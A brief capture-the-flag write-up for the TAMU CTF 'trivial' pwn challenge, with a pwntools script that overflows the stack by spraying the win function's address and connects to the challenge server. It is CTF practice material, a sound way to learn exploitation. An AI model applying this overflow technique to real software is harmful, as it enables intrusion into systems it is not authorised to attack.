Tags: pwn 

Rating: 5.0

## Question

Author: Lane
Attack the server and get the flag!
SNI: trivial

[trivial](https://github.com/tj-oconnor/ctf-writeups/tree/main/tamu_ctf/trivial/trivial)

## Solution

Just sprayed the address of the win function across the stack.

```python
from pwn import *

e = context.binary = ELF(args.BIN)

p = remote("tamuctf.com", 443, ssl=True, sni="trivial")
win = p64(e.sym['win'])

p.sendline(win*100)
p.interactive()
```

Original writeup (https://github.com/tj-oconnor/ctf-writeups/tree/main/tamu_ctf/trivial).